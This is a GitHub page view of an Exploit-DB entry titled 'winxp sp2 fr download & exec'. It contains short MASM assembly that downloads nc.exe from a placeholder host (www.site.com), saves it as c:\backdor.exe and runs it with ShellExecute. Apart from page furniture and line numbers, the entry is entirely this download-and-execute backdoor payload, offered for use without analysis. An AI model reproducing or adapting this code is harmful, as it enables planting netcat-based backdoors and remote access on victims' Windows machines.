forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path13699.txt
More file actions
executable file
·50 lines (31 loc) · 871 Bytes
/
Copy path13699.txt
File metadata and controls
executable file
·50 lines (31 loc) · 871 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Exploit Title winxp sp2 fr download & exec ::
Date 06/5/2010
Author : Crack_MaN ::
code:
;-------------------------------------------
.586
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include shell32.inc
include urlmon.inc
includelib user32.lib
includelib kernel32.lib
includelib shell32.lib
includelib urlmon.lib
.data
URL db "http://www.site.com/nc.exe",0
PATH db "c:\backdor.exe",0
.data?
hResult dd ?
.code
; ---------------------------------------------------------------------------
start:
invoke URLDownloadToFile,0,addr URL,addr PATH,0,0
mov hResult,eax
.if eax!=1
invoke ShellExecute,0,0,addr PATH,0,0,SW_SHOW
.endif
end start